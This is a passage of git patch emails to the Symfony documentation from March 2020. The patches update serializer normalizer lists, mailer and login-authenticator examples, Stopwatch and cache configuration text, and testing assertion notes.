+  objects implementing the :phpclass:`DateTimeInterface` interface
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` for :phpclass:`DateInterval` objects
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
+  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
   :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
@@ -33,5 +38,8 @@ Symfony includes the following normalizers but you can also
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
   normalize PHP object using `PHP reflection`_.
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
+  to deal with objects implementing the :phpclass:`JsonSerializable` interface
 
+.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php

From 88cb3e54131dacf6f35e5253bdde6b1778693605 Mon Sep 17 00:00:00 2001
From: Florent Destremau <florentdestremau@users.noreply.github.com>
Date: Thu, 12 Mar 2020 10:55:17 +0100
Subject: [PATCH 0471/7107] [DOCS] Updated performance page opcache file name

In SF < 5, the app name is included in the file name, so the real name of the opcache preload name should be `srcApp_KernelProdContainer`

Fixes #13330
---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 14be901ece6..3fd0efc43c9 100644
--- a/performance.rst
+++ b/performance.rst
@@ -119,7 +119,7 @@ The preload file path is the same as the compiled service container but with the
 .. code-block:: ini
 
     ; php.ini
-    opcache.preload=/path/to/project/var/cache/prod/App_KernelProdContainer.preload.php
+    opcache.preload=/path/to/project/var/cache/prod/srcApp_KernelProdContainer.preload.php
 
 .. _performance-configure-opcache:
 

From d76e3e0c59a8cf214129d367e1bd5a3a22fe4d7c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Mar 2020 11:45:32 +0100
Subject: [PATCH 0472/7107] Fx: Typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 7ec18d61a74..da9aa3b3f3e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -771,7 +771,7 @@ environment:
     If you're using Messenger and routing to a transport, the message will *still*
     be sent to that transport.
 
-Always Send to the Same Address
+Always Send to the same Address
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Instead of disabling delivery entirely, you might want to *always* send emails to

From 08be0955b6bc1e8af53bb3f541b2f9c268b0346c Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 10 Mar 2020 10:56:27 +0100
Subject: [PATCH 0473/7107] Add missing normalizers introduced between 3.4 and
 4.4

---
 serializer.rst             | 2 ++
 serializer/normalizers.rst | 3 +++
 2 files changed, 5 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 064d34c01d1..bcea9362bce 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -69,6 +69,8 @@ As well as the following normalizers:
   to deal with objects implementing the :phpclass:`JsonSerializable` interface
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
   denormalize arrays of objects using a format like `MyObject[]` (note the `[]` suffix)
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 
 .. versionadded:: 4.3
 
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 1e38ad80e9a..42a66c284bd 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -26,6 +26,7 @@ Symfony includes the following normalizers but you can also
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
   normalize PHP object using the :doc:`PropertyAccessor component </components/property_access>`;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` for :phpclass:`DateTimeZone` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
   :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
@@ -33,5 +34,7 @@ Symfony includes the following normalizers but you can also
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
   normalize PHP object using `PHP reflection`_.
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 
 .. _`PHP reflection`: https://www.php.net/manual/en/book.reflection.php

From 58400d3c9746bee30c85016fe58824daaabdeb70 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Mar 2020 13:36:53 +0100
Subject: [PATCH 0474/7107] Added the missing versionadded directives

---
 serializer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index bcea9362bce..0b391fd72d5 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -72,10 +72,18 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 
+.. versionadded:: 4.1
+
+    The ``ConstraintViolationListNormalizer`` was introduced in Symfony 4.1.
+
 .. versionadded:: 4.3
 
     The ``DateTimeZoneNormalizer`` was introduced in Symfony 4.3.
 
+.. versionadded:: 4.4
+
+    The ``ProblemNormalizer`` was introduced in Symfony 4.4.
+
 Custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also

From 6d428b86ad8946ce1a4c51cccb0ed917c99ff243 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Mar 2020 13:42:06 +0100
Subject: [PATCH 0475/7107] Removed an unneeded link

---
 serializer.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index c06c0e02fc7..0ee928b8139 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -111,8 +111,6 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
   denormalize arrays of objects using a format like `MyObject[]` (note the `[]` suffix)
 
-.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-
 Custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also

From 73e088c786cc3010ae0289f00335dc4f515ea26e Mon Sep 17 00:00:00 2001
From: Yohann Durand <yohanndurand76@gmail.com>
Date: Mon, 24 Feb 2020 17:35:30 +0100
Subject: [PATCH 0476/7107] Update messenger.rst

formating improve
---
 components/messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 33132889234..43272beb591 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -58,12 +58,12 @@ Concepts
    both when a message is originally dispatched and again later when a message
    is received from a transport,
 
-**Envelope**
+**Envelope**:
    Messenger specific concept, it gives full flexibility inside the message bus,
    by wrapping the messages into it, allowing to add useful information inside
    through *envelope stamps*.
 
-**Envelope Stamps**
+**Envelope Stamps**:
    Piece of information you need to attach to your message: serializer context
    to use for transport, markers identifying a received message or any sort of
    metadata your middleware or transport layer may use.

From e55dcadb5477c287bbdaf6f0d41c5a8cfbfa7da4 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 27 Feb 2020 08:52:02 +0100
Subject: [PATCH 0477/7107] Update multiple services example

This PR propose to replace SwiftMailer with the Mailer component and to add the Logger service for a better understanding how to inject multiple services
---
 service_container.rst | 24 ++++++++++++++----------
 1 file changed, 14 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 27685eecf36..54e73645f60 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -295,13 +295,15 @@ made. To do that, you create a new class::
     namespace App\Updates;
 
     use App\Service\MessageGenerator;
+    use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Component\Mime\Email;
 
     class SiteUpdateManager
     {
         private $messageGenerator;
         private $mailer;
 
-        public function __construct(MessageGenerator $messageGenerator, \Swift_Mailer $mailer)
+        public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
         {
             $this->messageGenerator = $messageGenerator;
             $this->mailer = $mailer;
@@ -311,19 +313,21 @@ made. To do that, you create a new class::
         {
             $happyMessage = $this->messageGenerator->getHappyMessage();
 
-            $message = (new \Swift_Message('Site update just happened!'))
-                ->setFrom('admin@example.com')
-                ->setTo('manager@example.com')
-                ->addPart(
-                    'Someone just updated the site. We told them: '.$happyMessage
-                );
+            $email = (new Email())
+                ->from('admin@example.com')
+                ->to('manager@example.com')
+                ->subject('Site update just happened!')
+                ->text('Someone just updated the site. We told them: '.$happyMessage);
 
-            return $this->mailer->send($message) > 0;
+            $this->mailer->send($email);
+
+            // ...
         }
     }
 
-This needs the ``MessageGenerator`` *and* the ``Swift_Mailer`` service. That's no
-problem! In fact, this new service is ready to be used. In a controller, for example,
+This needs the ``MessageGenerator`` *and* the ``Mailer`` service. That's no
+problem, we ask them by type hinting their class and interface names!
+Now, this new service is ready to be used. In a controller, for example,
 you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php

From 8ac9640b479b941fd51f0a14dc741618d1bbe269 Mon Sep 17 00:00:00 2001
From: Carl Casbolt <carl@platinumtechsolutions.co.uk>
Date: Wed, 4 Mar 2020 22:03:29 +0000
Subject: [PATCH 0478/7107] LoginFormAuthenticator example updated

RouterInterface has been replaced with UrlGeneratorInterface
---
 security/form_login_setup.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index fcdf4d9385e..8cc43c994da 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -174,7 +174,7 @@ a traditional HTML form that submits to ``/login``:
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
@@ -185,21 +185,22 @@ a traditional HTML form that submits to ``/login``:
     use Symfony\Component\Security\Csrf\CsrfToken;
     use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
     use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
+    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
     use Symfony\Component\Security\Http\Util\TargetPathTrait;
 
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator
+    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface
     {
         use TargetPathTrait;
 
         private $entityManager;
-        private $router;
+        private $urlGenerator;
         private $csrfTokenManager;
         private $passwordEncoder;
 
-        public function __construct(EntityManagerInterface $entityManager, RouterInterface $router, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordEncoderInterface $passwordEncoder)
+        public function __construct(EntityManagerInterface $entityManager, UrlGeneratorInterface $urlGenerator, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordEncoderInterface $passwordEncoder)
         {
             $this->entityManager = $entityManager;
-            $this->router = $router;
+            $this->urlGenerator = $urlGenerator;
             $this->csrfTokenManager = $csrfTokenManager;
             $this->passwordEncoder = $passwordEncoder;
         }
@@ -253,13 +254,13 @@ a traditional HTML form that submits to ``/login``:
                 return new RedirectResponse($targetPath);
             }
 
-            // For example : return new RedirectResponse($this->router->generate('some_route'));
+            // For example : return new RedirectResponse($this->urlGenerator->generate('some_route'));
             throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
         }
 
         protected function getLoginUrl()
         {
-            return $this->router->generate('app_login');
+            return $this->urlGenerator->generate('app_login');
         }
     }
 

From 1d85ccbe1c69c4dbcb7a565fe990779787233f33 Mon Sep 17 00:00:00 2001
From: Timo Tewes <timo.tewes@celexongroup.com>
Date: Fri, 6 Mar 2020 11:54:46 +0100
Subject: [PATCH 0479/7107] Added documentation for __toString feature in
 StopWatch event

---
 components/stopwatch.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/stopwatch.rst b/components/stopwatch.rst
index f89e8581b2b..6c77d4052ae 100644
--- a/components/stopwatch.rst
+++ b/components/stopwatch.rst
@@ -120,3 +120,16 @@ method and specifying the id of the section to be reopened::
     $stopwatch->openSection('routing');
     $stopwatch->start('building_config_tree');
     $stopwatch->stopSection('routing');
+
+
+Printing a Summary
+------------------
+
+The event can easily be printed to display a summary::
+
+    $stopwatch = new Stopwatch();
+    $stopwatch->start();
+    // ... do some work here
+    $output->writeln($stopwatch->stop()); // prints something like default: 14.00 MiB - 2056 ms
+
+This gives you a brief summary of the used memory an elapsed time.

From f7a7ff26b4d948500fb7aec002c43f17d4e0af1e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Mar 2020 17:02:16 +0100
Subject: [PATCH 0480/7107] Reword

---
 components/stopwatch.rst | 20 ++++++--------------
 1 file changed, 6 insertions(+), 14 deletions(-)

diff --git a/components/stopwatch.rst b/components/stopwatch.rst
index 6c77d4052ae..ce38c0fb56a 100644
--- a/components/stopwatch.rst
+++ b/components/stopwatch.rst
@@ -27,10 +27,15 @@ time of certain parts of code so that you don't constantly have to parse
     use Symfony\Component\Stopwatch\Stopwatch;
 
     $stopwatch = new Stopwatch();
+
     // starts event named 'eventName'
     $stopwatch->start('eventName');
-    // ... some code goes here
+
+    // ... run your code here
+
     $event = $stopwatch->stop('eventName');
+    // you can convert $event into a string for a quick summary
+    // e.g. (string) $event = '4.50 MiB - 26 ms'
 
 The :class:`Symfony\\Component\\Stopwatch\\StopwatchEvent` object can be retrieved
 from the  :method:`Symfony\\Component\\Stopwatch\\Stopwatch::start`,
@@ -120,16 +125,3 @@ method and specifying the id of the section to be reopened::
     $stopwatch->openSection('routing');
     $stopwatch->start('building_config_tree');
     $stopwatch->stopSection('routing');
-
-
-Printing a Summary
-------------------
-
-The event can easily be printed to display a summary::
-
-    $stopwatch = new Stopwatch();
-    $stopwatch->start();
-    // ... do some work here
-    $output->writeln($stopwatch->stop()); // prints something like default: 14.00 MiB - 2056 ms
-
-This gives you a brief summary of the used memory an elapsed time.

From 4ab4e4fc39bc3f814c870074514077fef1475710 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Mar 2020 17:11:57 +0100
Subject: [PATCH 0481/7107] Minor reword

---
 testing.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 397360151a3..f6e212fc786 100644
--- a/testing.rst
+++ b/testing.rst
@@ -22,7 +22,9 @@ wraps the original PHPUnit binary to provide additional features:
 
     $ composer require --dev symfony/phpunit-bridge
 
-After the library downloads, try executing PHPUnit by running:
+After the library downloads, try executing PHPUnit by running (the first time
+you run this, it will download PHPUnit itself and make its classes available in
+your app):
 
 .. code-block:: terminal
 
@@ -36,9 +38,6 @@ After the library downloads, try executing PHPUnit by running:
     it again. Another solution is to remove the project's ``symfony.lock`` file and
     run ``composer install`` to force the execution of all Symfony Flex recipes.
 
-The first time you run this, it will download PHPUnit itself and make its
-classes available in your app.
-
 Each test - whether it's a unit test or a functional test - is a PHP class
 that should live in the ``tests/`` directory of your application. If you follow
 this rule, then you can run all of your application's tests with the same

From 5b0590e7f996d043bbcff46301052f406a448125 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Feb 2020 20:12:44 +0100
Subject: [PATCH 0482/7107] [Testing] Documented the changes in
 MailerAssertionsTrait

---
 testing/functional_tests_assertions.rst | 30 +++++++++++++++++++------
 1 file changed, 23 insertions(+), 7 deletions(-)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 68c38455741..134a8353f2a 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -19,17 +19,17 @@ Now here is the example with the assertions specific to Symfony::
 
     $this->assertSelectorTextContains('html', 'Hello World');
 
-.. note::
-
-    These assertions only work if a request has been made with the ``Client``
-    in a test case extending the ``WebTestCase`` class.
-
 Assertions Reference
 ---------------------
 
 Response
 ~~~~~~~~
 
+.. note::
+
+    The following assertions only work if a request has been made with the
+    ``Client`` in a test case extending the ``WebTestCase`` class.
+
 - ``assertResponseIsSuccessful()``
 - ``assertResponseStatusCodeSame()``
 - ``assertResponseRedirects()``
@@ -44,12 +44,22 @@ Response
 Request
 ~~~~~~~
 
+.. note::
+
+    The following assertions only work if a request has been made with the
+    ``Client`` in a test case extending the ``WebTestCase`` class.
+
 - ``assertRequestAttributeValueSame()``
 - ``assertRouteSame()``
 
 Browser
 ~~~~~~~
 
+.. note::
+
+    The following assertions only work if a request has been made with the
+    ``Client`` in a test case extending the ``WebTestCase`` class.
+
 - ``assertBrowserHasCookie()``
 - ``assertBrowserNotHasCookie()``
 - ``assertBrowserCookieValueSame()``
@@ -59,8 +69,9 @@ Crawler
 
 .. note::
 
-    You cannot use the :doc:`Crawler </components/dom_crawler>` assertions,
-    when using `symfony/panther`_ for end-to-end testing.
+    The following assertions only work if a request has been made with the
+    ``Client`` in a test case extending the ``WebTestCase`` class. In addition,
+    they are not available when using `symfony/panther`_ for end-to-end testing.
 
 - ``assertSelectorExists()``
 - ``assertSelectorNotExists()``
@@ -75,6 +86,11 @@ Crawler
 Mailer
 ~~~~~~
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, the following assertions no longer require to make
+    a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
+
 - ``assertEmailCount()``
 - ``assertQueuedEmailCount()``
 - ``assertEmailIsQueued()``

From 1985be6b65564d4da1c54d7f7ea9a08fb722f694 Mon Sep 17 00:00:00 2001
From: Gary Houbre <ghoubre@sqli.com>
Date: Fri, 13 Dec 2019 12:12:47 +0100
Subject: [PATCH 0483/7107] Update Associations with fix code-block example

---
 doctrine/associations.rst | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8616d0ad839..d5b8b8bb6ce 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -41,7 +41,7 @@ In this case, you'll need a ``Category`` class, and a way to relate a
 
 Start by creating a ``Category`` entity with a ``name`` field:
 
-.. code-block:: terminal
+.. code-block:: bash
 
     $ php bin/console make:entity Category
 
@@ -64,6 +64,8 @@ Start by creating a ``Category`` entity with a ``name`` field:
 This will generate your new entity class::
 
     // src/Entity/Category.php
+    namespace App\Entity;
+    
     // ...
 
     class Category
@@ -99,7 +101,7 @@ the ``ManyToOne`` annotation. You can do this by hand, or by using the ``make:en
 command, which will ask you several questions about your relationship. If you're
 not sure of the answer, don't worry! You can always change the settings later:
 
-.. code-block:: terminal
+.. code-block:: bash
 
     $ php bin/console make:entity
 
@@ -144,6 +146,7 @@ the ``Product`` entity (and getter & setter methods):
     .. code-block:: php-annotations
 
         // src/Entity/Product.php
+        namespace App\Entity;
 
         // ...
         class Product
@@ -214,7 +217,8 @@ class that will hold these objects:
     .. code-block:: php-annotations
 
         // src/Entity/Category.php
-
+        namespace App\Entity;
+        
         // ...
         use Doctrine\Common\Collections\ArrayCollection;
         use Doctrine\Common\Collections\Collection;
@@ -310,8 +314,10 @@ Saving Related Entities
 
 Now you can see this new code in action! Imagine you're inside a controller::
 
+    // src/Controller/ProductController.php
+    namespace App/Controller;
+    
     // ...
-
     use App\Entity\Category;
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;

From a50bce3e868f6d7f696750c8ba6965f66329757d Mon Sep 17 00:00:00 2001
From: Loulier Guillaume <guillaume.loulier@hotmail.fr>
Date: Thu, 9 Jan 2020 11:19:25 +0100
Subject: [PATCH 0484/7107] [FIX] Custom pool

---
 cache.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index c10c90f4e51..b09e5db5b3b 100644
--- a/cache.rst
+++ b/cache.rst
@@ -194,13 +194,20 @@ You can also create more customized pools. All you need is an adapter:
                 default_memcached_provider: 'memcached://localhost'
                 pools:
                     my_cache_pool:
-                        adapter: cache.adapter.filesystem
+                        provider: app.my_cache_chain_adapter
                     cache.acme:
                         adapter: cache.adapter.memcached
                     cache.foobar:
                         adapter: cache.adapter.memcached
                         provider: 'memcached://user:password@example.com'
 
+        services:
+            app.my_cache_chain_adapter:
+                class: Symfony\Component\Cache\Adapter\ChainAdapter
+                arguments:
+                    - ['@cache.array', '@cache.apcu', '@cache.my_redis']
+                    - 31536000 # One year
+                    
     .. code-block:: xml
 
         <!-- app/config/config.xml -->

From fc483d9b1ff20af7974dc6b6d8de9e7a6e928952 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Mar 2020 17:44:43 +0100
Subject: [PATCH 0485/7107] Reword

---
 cache.rst | 12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

diff --git a/cache.rst b/cache.rst
index b09e5db5b3b..77ccdca23af 100644
--- a/cache.rst
+++ b/cache.rst
@@ -194,20 +194,13 @@ You can also create more customized pools. All you need is an adapter:
                 default_memcached_provider: 'memcached://localhost'
                 pools:
                     my_cache_pool:
-                        provider: app.my_cache_chain_adapter
+                        provider: cache.adapter.filesystem
                     cache.acme:
                         adapter: cache.adapter.memcached
                     cache.foobar:
                         adapter: cache.adapter.memcached
                         provider: 'memcached://user:password@example.com'
 
-        services:
-            app.my_cache_chain_adapter:
-                class: Symfony\Component\Cache\Adapter\ChainAdapter
-                arguments:
-                    - ['@cache.array', '@cache.apcu', '@cache.my_redis']
-                    - 31536000 # One year
-                    
     .. code-block:: xml
 
         <!-- app/config/config.xml -->
@@ -250,9 +243,8 @@ You can also create more customized pools. All you need is an adapter:
             ],
         ]);
 
-
 The configuration above will create 3 services: ``my_cache_pool``, ``cache.acme``
-and ``cache.foobar``.  The ``my_cache_pool`` pool is using the ArrayAdapter
+and ``cache.foobar``.  The ``my_cache_pool`` pool is using the filesystem adapter
 and the other two are using the :doc:`MemcachedAdapter </components/cache/adapters/memcached_adapter>`.
 The ``cache.acme`` pool is using the Memcached server on localhost and ``cache.foobar``
 is using the Memcached server at example.com.

From bff0f3aa92a91e0305629f1c9925b3d81564ee57 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Fri, 13 Mar 2020 07:53:32 +0100
Subject: [PATCH 0486/7107] Add missing prefix/xxxer

Add missing prefix/xxxer in ObjectNormalizer description
---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9b26a698a72..c8c52f9031d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -582,11 +582,11 @@ There are several types of normalizers available:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
     to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, adders and removers. It supports
+    directly and through getters, setters, hassers, issers, adders and removers. It supports
     calling the constructor during the denormalization process.
 
     Objects are normalized to a map of property names and values (names are
-    generated removing the ``get``, ``set``, ``has``, ``is`` or ``remove`` prefix from
+    generated removing the ``get``, ``set``, ``has``, ``is``, ``add`` or ``remove`` prefix from
     the method name and transforming the first letter to lowercase; e.g.
     ``getFirstName()`` -> ``firstName``).
 

From 14cad705c22b99c0ea065be9b5185baf10f57211 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Mar 2020 15:19:38 +0100
Subject: [PATCH 0487/7107] [Cache] fixed a bad merge

---
 cache.rst | 52 ----------------------------------------------------
 1 file changed, 52 deletions(-)

diff --git a/cache.rst b/cache.rst
index 27ff7bbd0a9..fb5cca97d57 100644
--- a/cache.rst
+++ b/cache.rst
@@ -286,58 +286,6 @@ You can also create more customized pools:
                         'adapter' => 'cache.adapter.memcached',
                     ],
 
-                    'cache.foobar' => [
-                        'adapter' => 'cache.adapter.memcached',
-                        'provider' => 'memcached://user:password@example.com',
-                    ],
-                ],
-            ],
-        ]);
-
-The configuration above will create 3 services: ``my_cache_pool``, ``cache.acme``
-and ``cache.foobar``.  The ``my_cache_pool`` pool is using the filesystem adapter
-and the other two are using the :doc:`MemcachedAdapter </components/cache/adapters/memcached_adapter>`.
-The ``cache.acme`` pool is using the Memcached server on localhost and ``cache.foobar``
-is using the Memcached server at example.com.
-
-For advanced configurations it could sometimes be useful to use a pool as an adapter.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # app/config/config.yml
-        framework:
-            cache:
-                app: my_configured_app_cache
-                pools:
-                    my_cache_pool:
-                        adapter: cache.adapter.memcached
-                        provider: 'memcached://user:password@example.com'
-                    cache.short_cache:
-                        adapter: my_cache_pool
-                        default_lifetime: 60
-                    cache.long_cache:
-                        adapter: my_cache_pool
-                        default_lifetime: 604800
-                    my_configured_app_cache:
-                        # "cache.adapter.filesystem" is the default for "cache.app"
-                        adapter: cache.adapter.filesystem
-                        default_lifetime: 3600
-
-    .. code-block:: xml
-
-        <!-- app/config/config.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
->>>>>>> 3.4
-
                     // control adapter's configuration
                     'foobar.cache' => [
                         'adapter' => 'cache.adapter.memcached',

From af1ef41323d446d9ea4d1af72585e4f5f4a9ad2c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Mar 2020 17:48:19 +0100
Subject: [PATCH 0488/7107] Documented the --deprecations option of the
 debug:container component

---
 components/phpunit_bridge.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2bbf4132cfa..49f9d668eed 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -330,6 +330,20 @@ notices at class autoloading time. This can be disabled with the
         </listener>
     </listeners>
 
+Compile-time Deprecations
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Use the ``debug:container`` command to list the deprecations generated during
+the compiling and warming up of the container:
+
+.. code-block:: terminal
+
+    $ debug:container --deprecations
+
+.. versionadded:: 5.1
+
+    The ``--deprecations`` option was introduced in Symfony 5.1.
+
 Write Assertions about Deprecations
 -----------------------------------
 

From 717547bd0d3e9908615e9e84f77f0c7fcdb11f57 Mon Sep 17 00:00:00 2001
From: Thomas Talbot <thomas.talbot@sensiolabs.com>
Date: Fri, 13 Mar 2020 19:24:18 +0100
Subject: [PATCH 0489/7107] Remove caution section about bind scalar controller
 arguments

---
 controller.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/controller.rst b/controller.rst
index 6c8417e14ac..ee546a151f4 100644
--- a/controller.rst
+++ b/controller.rst
@@ -277,14 +277,6 @@ the argument by its name:
 Like with all services, you can also use regular :ref:`constructor injection <services-constructor-injection>`
 in your controllers.
 
-.. caution::
-
-    You can *only* pass *services* to your controller arguments in this way. It's not
-    possible, for example, to pass a config parameter as a controller argument,
-    even by using ``bind``. If you need a parameter, use the ``$this->getParameter('kernel.debug')``
-    shortcut or pass the value through your controller's ``__construct()`` method
-    and specify its value with ``bind``.
-
 For more information about services, see the :doc:`/service_container` article.
 
 Generating Controllers

From 7a74bb348eb2fb92c808eb451fe9885f35edd2ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Przemys=C5=82aw=20Bogusz?= <przemyslaw.bogusz@tubotax.pl>
Date: Sun, 8 Mar 2020 11:11:38 +0100
Subject: [PATCH 0490/7107] [Form] Add description of label_html option

---
 reference/configuration/framework.rst            | 4 ----
 reference/forms/types/button.rst                 | 3 +++
 reference/forms/types/form.rst                   | 3 +++
 reference/forms/types/options/label_html.rst.inc | 8 ++++++++
